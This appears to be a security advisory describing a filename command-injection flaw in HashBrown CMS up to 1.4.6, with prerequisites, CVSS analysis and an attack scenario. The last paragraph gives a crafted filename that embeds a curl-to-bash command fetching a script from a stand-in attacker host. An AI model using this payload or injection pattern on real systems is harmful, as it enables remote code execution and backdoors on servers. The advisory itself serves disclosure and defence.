HashBrown CMS EUVD-2026-53097

The attacker must hold a valid authenticated session in HashBrown CMS with the 'media resource scope' permission explicitly granted. This scope is required to reach the POST /api/{project}/{environment}/media/new endpoint that triggers thumbnail generation. No non-default server configuration is required - the vulnerability exists in the default media upload flow. The limiting factor is credential acquisition: anonymous users and authenticated users without the media scope cannot trigger this code path. In deployments where only administrators hold the media scope, risk is substantially reduced but not eliminated, as administrative account compromise remains a viable path. The server must be running a HashBrown CMS version at or below 1.4.6 with a shell-accessible ImageMagick or equivalent 'convert' binary available to the Node.js process.

The CVSS 8.8 score (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the risk profile: network-reachable, low complexity, full triad impact, requiring only low-privilege credentials. The PR:L metric is the primary limiting factor - exploitation is bounded to users with the media resource scope, which in a typical CMS deployment may include content editors and contributors, not just administrators. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified. No CISA KEV listing is present, and no confirmed public exploit code has been identified, meaning exploitation is theoretically straightforward but not confirmed as actively occurring. The vulnerability is not configuration-dependent - any deployment of the affected version with at least one non-admin user account is potentially at risk. The attack chain is simple: a single crafted POST request yields code execution, making it automatable. Despite the absence of KEV or EPSS data, the low attack complexity and high impact make this a genuine remediation priority for any internet-facing HashBrown CMS instance.

An authenticated CMS contributor navigates to the media upload interface and submits a POST request to /api/{project}/{environment}/media/new with a crafted filename such as shell.jpg?$(curl http://attacker.example/s.sh|bash). The getMIMEType() function sees the extension as .jpg and permits the upload, while Path.extname() extracts .jpg?$(curl http://attacker.example/s.sh|bash) intact. AppService.exec() then runs the full shell string, fetching and executing the attacker's script in the context of the Node.js server process - granting a reverse shell or persistent backdoor with the privileges of the CMS service account.